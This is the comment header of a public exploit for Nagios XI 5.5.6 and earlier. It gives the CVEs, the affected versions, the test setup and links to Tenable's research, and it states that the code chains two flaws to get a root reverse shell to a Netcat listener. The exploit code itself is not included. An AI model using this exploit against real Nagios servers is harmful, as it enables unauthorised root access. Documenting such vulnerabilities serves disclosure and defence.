# Exploit Title: Nagios XI 5.5.6 Remote Code Execution and Privilege Escalation
# Date: 2019-01-22
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: https://www.nagios.com/
# Product: Nagios XI
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/xi-5.5.6.tar.gz
# Version: From 2012r1.0 to 5.5.6
# Tested on: 
#	- CentOS Linux 7.5.1804 (Core) / Kernel 3.10.0 / This was a vendor-provided .OVA file
#	- Nagios XI 2012r1.0, 5r1.0, and 5.5.6
# CVE: CVE-2018-15708, CVE-2018-15710
#
# See Also:
# https://www.tenable.com/security/research/tra-2018-37
# https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172
#
# This code exploits both CVE-2018-15708 and CVE-2018-15710 to pop a root reverse shell.
# You'll need your own Netcat listener
